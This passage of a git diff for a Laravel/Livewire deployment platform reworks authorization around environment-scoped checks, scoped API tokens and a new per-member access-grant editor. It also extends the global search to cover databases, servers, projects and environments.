'database', + 'subtype' => 'clickhouse', + 'uuid' => $db->uuid, + 'description' => $db->description, + 'link' => $db->link(), + 'project' => $db->environment->project->name ?? null, + 'environment' => $db->environment->name ?? null, + 'search_text' => strtolower($db->name.' '.$db->uuid.' clickhouse '.$db->description.' database databases db'), + ]; + }) + ); + + // SQLite + $databases = $databases->merge( + StandaloneSqlite::ownedByCurrentTeam() + ->with(['environment.project']) + ->get() + ->map(function ($db) { + return [ + 'id' => $db->id, + 'name' => $db->name, + 'type' => 'database', + 'subtype' => 'sqlite', + 'uuid' => $db->uuid, + 'description' => $db->description, + 'link' => $db->link(), + 'project' => $db->environment->project->name ?? null, + 'environment' => $db->environment->name ?? null, + 'search_text' => strtolower($db->name.' '.$db->uuid.' sqlite '.$db->description.' database databases db'), + ]; + }) + ); + + // Get all servers + $servers = ($includeServers ? Server::ownedByCurrentTeam()->get() : collect()) + ->map(function ($server) { + return [ + 'id' => $server->id, + 'name' => $server->name, + 'type' => 'server', + 'uuid' => $server->uuid, + 'description' => $server->description, + 'link' => $server->url(), + 'project' => null, + 'environment' => null, + 'search_text' => strtolower($server->name.' '.$server->ip.' '.$server->description.' server servers'), + ]; + }); + // Get all projects + $projects = Project::ownedByCurrentTeam() + ->withCount(['environments', 'applications', 'services']) + ->get() + ->map(function ($project) { + $resourceCount = $project->applications_count + $project->services_count; + $resourceSummary = $resourceCount > 0 + ? "{$resourceCount} resource".($resourceCount !== 1 ? 's' : '') + : 'No resources'; + + return [ + 'id' => $project->id, + 'name' => $project->name, + 'type' => 'project', + 'uuid' => $project->uuid, + 'description' => $project->description, + 'link' => $project->navigateTo(), + 'project' => null, + 'environment' => null, + 'resource_count' => $resourceSummary, + 'environment_count' => $project->environments_count, + 'search_text' => strtolower($project->name.' '.$project->description.' project projects'), + ]; + }); + + // Get all environments + $environments = Environment::ownedByCurrentTeam() + ->with('project') + ->withCount(['applications', 'services']) + ->get() + ->map(function ($environment) { + $resourceCount = $environment->applications_count + $environment->services_count; + $resourceSummary = $resourceCount > 0 + ? "{$resourceCount} resource".($resourceCount !== 1 ? 's' : '') + : 'No resources'; + + // Build description with project context + $descriptionParts = []; + if ($environment->project) { + $descriptionParts[] = "Project: {$environment->project->name}"; + } + if ($environment->description) { + $descriptionParts[] = $environment->description; + } + if (empty($descriptionParts)) { + $descriptionParts[] = $resourceSummary; + } + + return [ + 'id' => $environment->id, + 'name' => $environment->name, + 'type' => 'environment', + 'uuid' => $environment->uuid, + 'description' => implode(' • ', $descriptionParts), + 'link' => route('project.resource.index', [ + 'project_uuid' => $environment->project->uuid, + 'environment_uuid' => $environment->uuid, + ]), + 'project' => $environment->project->name ?? null, + 'environment' => null, + 'resource_count' => $resourceSummary, + 'search_text' => strtolower($environment->name.' '.$environment->description.' '.$environment->project->name.' environment'), + ]; + }); + + // Merge all collections + $items = $items->merge($applications) + ->merge($services) + ->merge($databases) + ->merge($servers) + ->merge($projects) + ->merge($environments); + + return $items->toArray(); + } + + private function navigationItems(bool $teamWide): Collection { $user = auth()->user(); $team = $user->currentTeam(); @@ -932,6 +945,19 @@ class GlobalSearch extends Component ); } + if (! $teamWide) { + $projectPages = [ + route('dashboard'), + route('project.index'), + route('shared-variables.project.index'), + route('shared-variables.environment.index'), + route('profile'), + route('profile.appearance'), + route('security.api-tokens'), + ]; + $navigation = $navigation->whereIn('link', $projectPages)->values(); + } + return $navigation; } diff --git a/app/Livewire/Project/Index.php b/app/Livewire/Project/Index.php index e3ba5f4f3c..f8556a2eb1 100644 --- a/app/Livewire/Project/Index.php +++ b/app/Livewire/Project/Index.php @@ -72,7 +72,7 @@ class Index extends Component 'settingsHref' => auth()->user()->can('update', $project) ? route('project.edit', ['project_uuid' => $project->uuid]) : null, - 'addResourceHref' => $firstEnvironment && auth()->user()->can('createAnyResource') + 'addResourceHref' => $firstEnvironment && auth()->user()->can('createAnyResource', [$firstEnvironment]) ? route('project.resource.create', [ 'project_uuid' => $project->uuid, 'environment_uuid' => $firstEnvironment->uuid, diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php index 80f9f481b4..2fb883d6b2 100644 --- a/app/Livewire/Project/New/DockerCompose.php +++ b/app/Livewire/Project/New/DockerCompose.php @@ -32,8 +32,6 @@ class DockerCompose extends Component public function submit() { try { - $this->authorize('create', Service::class); - $this->validate([ 'dockerComposeRaw' => 'required', ]); @@ -44,6 +42,7 @@ class DockerCompose extends Component $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); + $this->authorize('create', [Service::class, $environment]); $destination_uuid = $this->query['destination'] ?? null; $destination = find_resource_destination_for_current_team($destination_uuid); diff --git a/app/Livewire/Project/New/DockerImage.php b/app/Livewire/Project/New/DockerImage.php index ab6063e091..0e660abe3c 100644 --- a/app/Livewire/Project/New/DockerImage.php +++ b/app/Livewire/Project/New/DockerImage.php @@ -83,8 +83,6 @@ class DockerImage extends Component public function submit() { - $this->authorize('create', Application::class); - $this->validate([ 'imageName' => ValidationPatterns::dockerImageNameRules(required: true), 'imageTag' => ValidationPatterns::dockerImageTagRules(), @@ -123,6 +121,7 @@ class DockerImage extends Component $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); + $this->authorize('create', [Application::class, $environment]); // Append @sha256 to image name if using digest and not already present $imageName = $parser->getFullImageNameWithoutTag(); diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index 59dce3cf59..fb2ee74c13 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -189,8 +189,6 @@ class GithubPrivateRepository extends Component public function submit() { try { - $this->authorize('create', Application::class); - // Validate git repository parts and branch $validator = validator([ 'selected_repository_owner' => $this->selected_repository_owner, @@ -217,6 +215,7 @@ class GithubPrivateRepository extends Component $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); + $this->authorize('create', [Application::class, $environment]); $application_init = [ 'name' => generate_application_name($this->selected_repository_owner.'/'.$this->selected_repository_repo, $this->selected_branch_name), diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index 5a777d7a59..35c43aa888 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -127,7 +127,9 @@ class GithubPrivateRepositoryDeployKey extends Component public function setPrivateKey($private_key_id) { - $this->authorize('create', Application::class); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); + $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); + $this->authorize('create', [Application::class, $environment]); $privateKey = PrivateKey::ownedByCurrentTeam()->findOrFail($private_key_id); $this->private_key_id = $privateKey->id; @@ -148,8 +150,6 @@ class GithubPrivateRepositoryDeployKey extends Component public function submit() { - $this->authorize('create', Application::class); - $privateKey = PrivateKey::ownedByCurrentTeam()->findOrFail($this->private_key_id); $this->validate(); @@ -168,6 +168,7 @@ class GithubPrivateRepositoryDeployKey extends Component $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); + $this->authorize('create', [Application::class, $environment]); if ($this->git_source === 'other') { $application_init = [ 'name' => generate_random_name(), diff --git a/app/Livewire/Project/New/GitlabPrivateRepository.php b/app/Livewire/Project/New/GitlabPrivateRepository.php index 3da796a81e..849ba7ccd1 100644 --- a/app/Livewire/Project/New/GitlabPrivateRepository.php +++ b/app/Livewire/Project/New/GitlabPrivateRepository.php @@ -161,8 +161,6 @@ class GitlabPrivateRepository extends Component public function submit() { try { - $this->authorize('create', Application::class); - $validator = validator([ 'selected_repository_path' => $this->selected_repository_path, 'selected_branch_name' => $this->selected_branch_name, @@ -186,6 +184,7 @@ class GitlabPrivateRepository extends Component $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); + $this->authorize('create', [Application::class, $environment]); $gitlab_app = $this->getGitlabApp(); diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index a898204fc2..268fb045b7 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -276,8 +276,6 @@ class PublicGitRepository extends Component public function submit() { try { - $this->authorize('create', Application::class); - $this->validate(); // Additional validation for git repository and branch @@ -312,6 +310,7 @@ class PublicGitRepository extends Component $project = Project::ownedByCurrentTeam()->where('uuid', $project_uuid)->firstOrFail(); $environment = $project->environments()->where('uuid', $environment_uuid)->firstOrFail(); + $this->authorize('create', [Application::class, $environment]); if ($this->git_source === 'other') { $application_init = [ diff --git a/app/Livewire/Project/New/SimpleDockerfile.php b/app/Livewire/Project/New/SimpleDockerfile.php index 24f21b4cb5..e04ff83cf2 100644 --- a/app/Livewire/Project/New/SimpleDockerfile.php +++ b/app/Livewire/Project/New/SimpleDockerfile.php @@ -32,8 +32,6 @@ CMD ["nginx", "-g", "daemon off;"] public function submit() { - $this->authorize('create', Application::class); - $this->validate([ 'dockerfile' => 'required', ]); @@ -46,6 +44,7 @@ CMD ["nginx", "-g", "daemon off;"] $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); + $this->authorize('create', [Application::class, $environment]); $port = get_port_from_dockerfile($this->dockerfile); if (! $port) { diff --git a/app/Livewire/Project/Resource/Create.php b/app/Livewire/Project/Resource/Create.php index d523fb3b9f..7faf90c500 100644 --- a/app/Livewire/Project/Resource/Create.php +++ b/app/Livewire/Project/Resource/Create.php @@ -17,8 +17,6 @@ class Create extends Component public function mount() { - $this->authorize('createAnyResource'); - $type = str(request()->query('type')); $destination_uuid = request()->query('destination'); $database_image = request()->query('database_image'); @@ -32,6 +30,7 @@ class Create extends Component if (! $environment) { return redirect()->route('dashboard'); } + $this->authorize('createAnyResource', [$environment]); if (isset($type) && isset($destination_uuid)) { $destination = find_resource_destination_for_current_team($destination_uuid); if (! $destination) { diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/All.php b/app/Livewire/Project/Shared/EnvironmentVariable/All.php index 736075dc7c..55b529fd9b 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/All.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/All.php @@ -300,7 +300,7 @@ class All extends Component private function canViewEnvironmentValues(): bool { - return auth()->user()?->can('manageEnvironment', $this->resource) ?? false; + return auth()->user()?->can('viewSensitive', $this->resource) ?? false; } private function nullLockedValues($envs) @@ -846,8 +846,7 @@ class All extends Component } // Otherwise keep order from docker-compose file - // Compose content is visible only to users who can edit the resource. - $canViewValues = auth()->user()?->can('update', $this->resource) ?? false; + $canViewValues = $this->canViewEnvironmentValues(); return $hardcodedVars->map(fn (array $variable): array => [ ...$variable, diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php index 6dc835fa95..fb0fa4a772 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php @@ -161,7 +161,7 @@ class Show extends Component */ public function loadValues(): void { - $this->authorize('update', $this->env); + $this->authorize('viewSensitive', $this->env); if ($this->valuesLoaded) { return; @@ -283,7 +283,7 @@ class Show extends Component private function valuesHiddenForUser(): bool { - return auth()->user()?->cannot('update', $this->env) ?? true; + return auth()->user()?->cannot('viewSensitive', $this->env) ?? true; } public function checkEnvs() diff --git a/app/Livewire/Project/Show.php b/app/Livewire/Project/Show.php index a055904d51..8f57d14417 100644 --- a/app/Livewire/Project/Show.php +++ b/app/Livewire/Project/Show.php @@ -60,11 +60,10 @@ class Show extends Component public function render(): View { - $canUpdateProject = auth()->user()->can('update', $this->project); - $canCreateResource = auth()->user()->can('createAnyResource'); + $user = auth()->user(); return view('livewire.project.show', [ - 'environmentsJs' => $this->project->environments->map(function (Environment $environment) use ($canCreateResource, $canUpdateProject): array { + 'environmentsJs' => $this->project->environments->map(function (Environment $environment) use ($user): array { $resourceCount = collect([ $environment->applications_count, $environment->services_count, @@ -88,13 +87,13 @@ class Show extends Component 'project_uuid' => $this->project->uuid, 'environment_uuid' => $environment->uuid, ]), - 'settingsHref' => $canUpdateProject + 'settingsHref' => $user->can('update', $environment) ? route('project.environment.edit', [ 'project_uuid' => $this->project->uuid, 'environment_uuid' => $environment->uuid, ]) : null, - 'addResourceHref' => $canCreateResource + 'addResourceHref' => $user->can('createAnyResource', [$environment]) ? route('project.resource.create', [ 'project_uuid' => $this->project->uuid, 'environment_uuid' => $environment->uuid, diff --git a/app/Livewire/Security/ApiTokens.php b/app/Livewire/Security/ApiTokens.php index 0a255370e5..8ba02ed298 100644 --- a/app/Livewire/Security/ApiTokens.php +++ b/app/Livewire/Security/ApiTokens.php @@ -2,9 +2,17 @@ namespace App\Livewire\Security; +use App\Enums\AccessLevel; +use App\Enums\AccessScope; +use App\Models\Environment; +use App\Models\Project; +use App\Services\Access\AccessResolver; +use App\Services\Access\Grant; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; +use Illuminate\Support\Facades\DB; use Illuminate\Validation\Rule; use Laravel\Sanctum\PersonalAccessToken; +use Livewire\Attributes\Computed; use Livewire\Attributes\Locked; use Livewire\Component; @@ -26,6 +34,18 @@ class ApiTokens extends Component public array $permissions = ['read']; + /** + * 'team' = every project and resource of the team (scopes null), 'selected' = only $selectedScopes. + */ + public string $scopeMode = 'team'; + + /** + * Picked scopes as "project:", "environment:", or "resource:". + * + * @var list + */ + public array $selectedScopes = []; + public array $expirationOptions = [ 7 => '7 days', 30 => '30 days', @@ -46,9 +66,49 @@ class ApiTokens extends Component #[Locked] public bool $canUseSensitivePermissions = false; + #[Locked] + public bool $canUseDeletePermissions = false; + + #[Locked] + public bool $canUseTeamScope = false; + public function render() { - return view('livewire.security.api-tokens'); + return view('livewire.security.api-tokens', [ + 'scopeLabels' => collect($this->scopeOptions)->reject(fn (array $option) => $option['header'] ?? false)->pluck('label', 'value'), + ]); + } + + /** + * Projects, environments, and resources of the current team that the user can see, for the scope picker. + * + * @return list + */ + #[Computed] + public function scopeOptions(): array + { + $projects = Project::query()->where('team_id', currentTeam()->id)->orderBy('name')->get(['id', 'uuid', 'name']); + $environments = Environment::query()->whereIn('project_id', $projects->pluck('id'))->get(['id', 'uuid', 'name', 'project_id']); + $projectNames = $projects->pluck('name', 'id'); + $environmentPaths = $environments->mapWithKeys(fn (Environment $environment) => [ + $environment->id => $projectNames[$environment->project_id].' / '.$environment->name, + ]); + + $resources = collect(AccessResolver::RESOURCE_MODELS) + ->flatMap(fn (string $model) => $model::query()->whereIn('environment_id', $environments->pluck('id'))->get(['uuid', 'name', 'environment_id'])) + ->map(fn ($resource) => ['value' => "resource:{$resource->uuid}", 'label' => $environmentPaths[$resource->environment_id].' / '.$resource->name]) + ->sortBy('label', SORT_NATURAL | SORT_FLAG_CASE) + ->values(); + + return [ + ...($projects->isEmpty() ? [] : [['value' => '__projects', 'label' => 'Projects', 'header' => true]]), + ...$projects->map(fn (Project $project) => ['value' => "project:{$project->uuid}", 'label' => $project->name])->all(), + ...($environments->isEmpty() ? [] : [['value' => '__environments', 'label' => 'Environments', 'header' => true]]), + ...$environments->map(fn (Environment $environment) => ['value' => "environment:{$environment->uuid}", 'label' => $environmentPaths[$environment->id]]) + ->sortBy('label', SORT_NATURAL | SORT_FLAG_CASE)->values()->all(), + ...($resources->isEmpty() ? [] : [['value' => '__resources', 'label' => 'Resources', 'header' => true]]), + ...$resources->all(), + ]; } public function mount() @@ -57,6 +117,9 @@ class ApiTokens extends Component $this->canUseWritePermissions = auth()->user()->can('useWritePermissions', PersonalAccessToken::class); $this->canUseDeployPermissions = auth()->user()->can('useDeployPermissions', PersonalAccessToken::class); $this->canUseSensitivePermissions = auth()->user()->can('useSensitivePermissions', PersonalAccessToken::class); + $this->canUseDeletePermissions = auth()->user()->can('useDeletePermissions', PersonalAccessToken::class); + $this->canUseTeamScope = app(AccessResolver::class)->coversWholeTeam(auth()->user(), currentTeam()->id); + $this->scopeMode = $this->canUseTeamScope ? 'team' : 'selected'; $this->getTokens(); } @@ -99,6 +162,13 @@ class ApiTokens extends Component return; } + if ($permissionToUpdate == 'delete' && ! auth()->user()->can('useDeletePermissions', PersonalAccessToken::class)) { + $this->dispatch('error', 'You do not have permission to use delete permissions.'); + $this->permissions = array_diff($this->permissions, ['delete']); + + return; + } + if ($permissionToUpdate == 'root' && in_array('root', $this->permissions, true)) { $this->permissions = ['root']; } elseif ($permissionToUpdate == 'read:sensitive' && ! in_array('read', $this->permissions, true)) { @@ -122,35 +192,45 @@ class ApiTokens extends Component 'description' => 'required|min:3|max:255', 'expiresInDays' => 'nullable|integer|in:7,30,60,90,365', 'permissions' => 'required|array|min:1', - 'permissions.*' => ['required', 'string', Rule::in(['read', 'read:sensitive', 'write', 'write:sensitive', 'deploy', 'root'])], + 'permissions.*' => ['required', 'string', Rule::in(['read', 'read:sensitive', 'write', 'write:sensitive', 'deploy', 'delete', 'root'])], + 'scopeMode' => ['required', Rule::in(['team', 'selected'])], + 'selectedScopes' => ['exclude_unless:scopeMode,selected', 'required', 'array', 'min:1'], + 'selectedScopes.*' => ['string', 'regex:/^(project|environment|resource):[A-Za-z0-9_-]+$/'], + ], [ + 'selectedScopes.required' => 'Select at least one project, environment, or resource.', ]); $permissions = array_values($validated['permissions']); + $teamId = currentTeam()->id; + $scopes = $this->scopeMode === 'selected' ? $this->parseSelectedScopes($teamId) : null; - // Re-evaluate policies fresh against the current authenticated user. - // Never trust $this->canUse* booleans — they come from the Livewire - // snapshot which can be replayed from another user's session. - if (in_array('root', $permissions, true) && ! auth()->user()->can('useRootPermissions', PersonalAccessToken::class)) { - throw new \Exception('You do not have permission to create tokens with root permissions.'); + // Never trust the $this->canUse* booleans: check the current user's access in the team again. + $resolver = app(AccessResolver::class); + $isAdmin = auth()->user()->isAdminOfTeam($teamId); + if (in_array('write:sensitive', $permissions, true) && ! $isAdmin) { + throw new \Exception('You do not have permission to create tokens with write:sensitive permissions.'); } - - if (array_intersect(['write', 'write:sensitive'], $permissions) && ! auth()->user()->can('useWritePermissions', PersonalAccessToken::class)) { - throw new \Exception('You do not have permission to create tokens with write permissions.'); - } - - if (in_array('deploy', $permissions, true) && ! auth()->user()->can('useDeployPermissions', PersonalAccessToken::class)) { - throw new \Exception('You do not have permission to create tokens with deploy permissions.'); - } - - if (in_array('read:sensitive', $permissions, true) && ! auth()->user()->can('useSensitivePermissions', PersonalAccessToken::class)) { - throw new \Exception('You do not have permission to create tokens with read:sensitive permissions.'); + $levels = AccessLevel::parseMany($permissions); + $grants = $scopes === null + ? [Grant::team($levels)] + : array_map(fn (Grant $scope) => new Grant($scope->scope, $scope->uuid, $levels), $scopes); + if (! $resolver->userHolds(auth()->user(), $teamId, $grants)) { + throw new \Exception('A token cannot have more access than you have. Choose fewer permissions or narrower projects, environments, or resources.'); } $expiresAt = filled($validated['expiresInDays'] ?? null) ? now()->addDays((int) $validated['expiresInDays']) : null; - $token = auth()->user()->createToken($this->description, $permissions, $expiresAt); + $storedScopes = $scopes === null ? null : array_map(fn (Grant $scope) => ['scope' => $scope->scope->value, 'uuid' => $scope->uuid], $scopes); + // One transaction, so a token never exists team-wide when saving its scopes fails. + $token = DB::transaction(function () use ($permissions, $expiresAt, $teamId, $storedScopes) { + $token = auth()->user()->createToken($this->description, $permissions, $expiresAt, $teamId); + $token->accessToken->forceFill(['scopes' => $storedScopes])->save(); + + return $token; + }); auditLog('ui.api_token.created', [ - 'team_id' => currentTeam()->id, + 'team_id' => $teamId, 'api_token_name' => $this->description, 'abilities' => $permissions, + 'scopes' => $storedScopes, 'expires_at' => $expiresAt?->toIso8601String(), ]); $this->getTokens(); @@ -161,6 +241,31 @@ class ApiTokens extends Component } } + /** + * @return list scopes without levels; a token's levels are its abilities + */ + private function parseSelectedScopes(int $teamId): array + { + $resolver = app(AccessResolver::class); + $scopes = []; + foreach (array_unique($this->selectedScopes) as $selected) { + [$scope, $uuid] = explode(':', $selected, 2); + $grant = new Grant(AccessScope::from($scope), $uuid, []); + $layer = $resolver->resolve($teamId, [new Grant($grant->scope, $uuid, [AccessLevel::Read])]); + $existsInTeam = match ($grant->scope) { + AccessScope::Project => $layer->visibleProjectIds() !== [], + AccessScope::Environment => $layer->fullEnvironmentIds() !== [], + default => $layer->resourceUuids() !== [], + }; + if (! $existsInTeam) { + throw new \Exception('A selected project, environment, or resource does not exist in this team.'); + } + $scopes[] = $grant; + } + + return $scopes; + } + public function revoke(int $id) { try { diff --git a/app/Livewire/Team/Member.php b/app/Livewire/Team/Member.php index f28087056f..45b0affdd3 100644 --- a/app/Livewire/Team/Member.php +++ b/app/Livewire/Team/Member.php @@ -69,7 +69,7 @@ class Member extends Component } $teamId = currentTeam()->id; DB::transaction(function () use ($teamId): void { - $this->member->teams()->updateExistingPivot($teamId, ['role' => Role::MEMBER->value]); + $this->member->teams()->updateExistingPivot($teamId, ['role' => Role::MEMBER->value, 'access' => null]); RevokeUserTeamTokens::forUserTeam($this->member, $teamId); }); $this->auditRoleUpdate($teamId, Role::MEMBER); diff --git a/app/Livewire/Team/Member/Access.php b/app/Livewire/Team/Member/Access.php new file mode 100644 index 0000000000..7c085fe1d3 --- /dev/null +++ b/app/Livewire/Team/Member/Access.php @@ -0,0 +1,243 @@ +:` for a project, environment, or resource of the team. + */ +class Access extends Component +{ + use AuthorizesRequests; + + #[Locked] + public int $teamId; + + #[Locked] + public ?int $memberId = null; + + public bool $open = false; + + /** @var list}> */ + public array $grants = []; + + public function mount(): void + { + $team = currentTeam(); + $this->authorize('manageMembers', $team); + $this->teamId = $team->id; + } + + #[On('open-member-access')] + public function openFor(int $memberId): void + { + $this->authorize('manageMembers', Team::findOrFail($this->teamId)); + $this->memberId = $memberId; + $this->resetValidation(); + + $stored = $this->member()->pivot->access; + $grants = $stored === null ? AccessResolver::defaultMemberGrants() : Grant::listFrom($stored); + $this->grants = array_map( + fn (Grant $grant) => $this->row($grant->scope === AccessScope::Team ? 'team' : "{$grant->scope->value}:{$grant->uuid}", $grant->levels), + $grants, + ); + $this->open = true; + } + + public function addGrant(): void + { + $this->grants[] = $this->row('', []); + } + + public function removeGrant(string $key): void + { + $this->grants = array_values(array_filter($this->grants, fn (array $row) => $row['key'] !== $key)); + } + + public function applyPreset(string $preset, ?string $projectUuid = null): void + { + $this->grants = match ($preset) { + 'viewer' => [$this->row('team', [AccessLevel::Read])], + 'developer' => [$this->row("project:{$projectUuid}", [AccessLevel::Write, AccessLevel::Deploy])], + 'operator' => [$this->row('team', [AccessLevel::Write, AccessLevel::Deploy, AccessLevel::Delete])], + 'full' => [$this->row('team', [AccessLevel::Root])], + default => $this->grants, + }; + $this->resetValidation(); + } + + public function save(): void + { + $this->authorize('manageMembers', Team::findOrFail($this->teamId)); + $member = $this->member(); + + $validTargets = collect($this->scopeOptions)->reject(fn (array $option) => $option['header'] ?? false)->pluck('value')->all(); + $grants = []; + $errors = []; + foreach ($this->grants as $index => $row) { + $target = (string) ($row['target'] ?? ''); + $levels = array_values(array_filter(AccessLevel::cases(), fn (AccessLevel $level) => (bool) ($row['levels'][$level->name] ?? false))); + + if (! in_array($target, $validTargets, true)) { + $errors["grants.{$index}.target"] = 'Choose a scope in this team.'; + } + if ($levels === []) { + $errors["grants.{$index}.levels"] = 'Choose at least one level.'; + } + if (isset($errors["grants.{$index}.target"]) || isset($errors["grants.{$index}.levels"])) { + continue; + } + + [$scope, $uuid] = $target === 'team' ? ['team', null] : explode(':', $target, 2); + $grants[] = new Grant(AccessScope::from($scope), $uuid, $levels); + } + if ($errors !== []) { + throw ValidationException::withMessages($errors); + } + + $member->teams()->updateExistingPivot($this->teamId, ['access' => json_encode(Grant::listToArray($grants))]); + app(AccessResolver::class)->flush(); + + auditLog('ui.team_member.access_updated', [ + 'team_id' => $this->teamId, + 'member_id' => $member->id, + 'member_name' => $member->name, + 'member_email' => $member->email, + 'access' => Grant::listToArray($grants), + ]); + + $this->open = false; + $this->dispatch('success', 'Access saved.'); + $this->dispatch('reloadWindow'); + } + + /** + * Every project, environment, and resource of the team, for the scope picker. + * Queries skip the access-grant scope: only owners and admins open this editor, and they see the whole team. + * + * @return list + */ + #[Computed] + public function scopeOptions(): array + { + $projects = Project::withoutGlobalScope(VisibleThroughAccessGrants::class) + ->where('team_id', $this->teamId) + ->orderBy('name') + ->get(['id', 'uuid', 'name']); + $environments = Environment::withoutGlobalScope(VisibleThroughAccessGrants::class) + ->whereIn('project_id', $projects->pluck('id')) + ->get(['id', 'uuid', 'name', 'project_id']); + $projectNames = $projects->pluck('name', 'id'); + $environmentPaths = $environments->mapWithKeys(fn (Environment $environment) => [ + $environment->id => $projectNames[$environment->project_id].' / '.$environment->name, + ]); + + $resources = collect(AccessResolver::RESOURCE_MODELS) + ->flatMap(fn (string $model) => $model::withoutGlobalScope(VisibleThroughAccessGrants::class) + ->whereIn('environment_id', $environments->pluck('id')) + ->get(['uuid', 'name', 'environment_id'])) + ->map(fn ($resource) => ['value' => "resource:{$resource->uuid}", 'label' => $environmentPaths[$resource->environment_id].' / '.$resource->name]) + ->sortBy('label', SORT_NATURAL | SORT_FLAG_CASE) + ->values(); + + return [ + ['value' => '__team', 'label' => 'Team', 'header' => true], + ['value' => 'team', 'label' => 'Whole team'], + ...($projects->isEmpty() ? [] : [['value' => '__projects', 'label' => 'Projects', 'header' => true]]), + ...$projects->map(fn (Project $project) => ['value' => "project:{$project->uuid}", 'label' => $project->name])->all(), + ...($environments->isEmpty() ? [] : [['value' => '__environments', 'label' => 'Environments', 'header' => true]]), + ...$environments->map(fn (Environment $environment) => ['value' => "environment:{$environment->uuid}", 'label' => $environmentPaths[$environment->id]]) + ->sortBy('label', SORT_NATURAL | SORT_FLAG_CASE)->values()->all(), + ...($resources->isEmpty() ? [] : [['value' => '__resources', 'label' => 'Resources', 'header' => true]]), + ...$resources->all(), + ]; + } + + /** + * Short description of a member's access for the members list. + */ + public static function summary(mixed $storedAccess): string + { + if ($storedAccess === null) { + return 'Team-wide read (default)'; + } + + $grants = array_filter(Grant::listFrom($storedAccess), fn (Grant $grant) => $grant->levels !== []); + if ($grants === []) { + return 'No access'; + } + + $parts = []; + foreach ($grants as $grant) { + if ($grant->scope === AccessScope::Team) { + $parts[] = 'Team: '.implode(', ', array_map(fn (AccessLevel $level) => Str::lower($level->label()), $grant->levels)); + } + } + $counts = array_count_values(array_map(fn (Grant $grant) => $grant->scope->value, $grants)); + foreach ([AccessScope::Project, AccessScope::Environment, AccessScope::Resource] as $scope) { + if (isset($counts[$scope->value])) { + $parts[] = $counts[$scope->value].' '.Str::plural($scope->value, $counts[$scope->value]); + } + } + + return implode(' + ', $parts); + } + + public function render(): View + { + if ($this->memberId === null) { + return view('livewire.team.member.access', ['member' => null]); + } + $member = $this->member(); + + return view('livewire.team.member.access', [ + 'member' => $member, + 'team' => Team::findOrFail($this->teamId), + 'currentSummary' => self::summary($member->pivot->access), + 'levels' => AccessLevel::cases(), + 'projectOptions' => collect($this->scopeOptions)->filter(fn (array $option) => str_starts_with($option['value'], 'project:'))->values(), + ]); + } + + private function member(): User + { + $member = Team::findOrFail($this->teamId)->members()->whereKey($this->memberId)->first(); + abort_if($member === null || $member->pivot->role !== Role::MEMBER->value, 404); + + return $member; + } + + /** + * @param list $levels + * @return array{key: string, target: string, levels: array} + */ + private function row(string $target, array $levels): array + { + return [ + 'key' => Str::random(10), + 'target' => $target, + 'levels' => collect(AccessLevel::cases())->mapWithKeys(fn (AccessLevel $level) => [$level->name => in_array($level, $levels, true)])->all(), + ]; + } +} diff --git a/app/Mcp/Concerns/ResolvesTeam.php b/app/Mcp/Concerns/ResolvesTeam.php index d77455b170..ced115cae7 100644 --- a/app/Mcp/Concerns/ResolvesTeam.php +++ b/app/Mcp/Concerns/ResolvesTeam.php @@ -2,24 +2,15 @@ namespace App\Mcp\Concerns; +use App\Http\Middleware\EnsureTokenBelongsToCurrentTeamMember; +use App\Models\Server; +use App\Services\Access\AccessResolver; +use Illuminate\Database\Eloquent\Builder; use Laravel\Mcp\Request; use Laravel\Mcp\Response; trait ResolvesTeam { - /** - * Abilities that team members must not exercise (parity with ApiAbility). - * - * @var array - */ - private const MEMBER_DISALLOWED_ABILITIES = [ - 'root', - 'write', - 'write:sensitive', - 'deploy', - 'read:sensitive', - ]; - protected function ensureAbility(Request $request, string $ability = 'read', ?string $tool = null): ?Response { $user = $request->user(); @@ -30,30 +21,20 @@ trait ResolvesTeam } $token = $user->currentAccessToken(); - if (! $token) { + if (! $token || $token->team_id === null) { $this->auditMcpTool($request, $tool, 'denied', ['reason' => 'invalid_token']); return Response::error('Invalid token.'); } - $teamId = $token->team_id; - if ($teamId !== null) { - // Fresh pivot lookup (avoid stale $user->teams cache after role changes). - $role = $user->teams()->where('teams.id', $teamId)->first()?->pivot?->role; - $isAdminOrOwner = in_array($role, ['admin', 'owner'], true); + // Same check as api.token.team, for tools 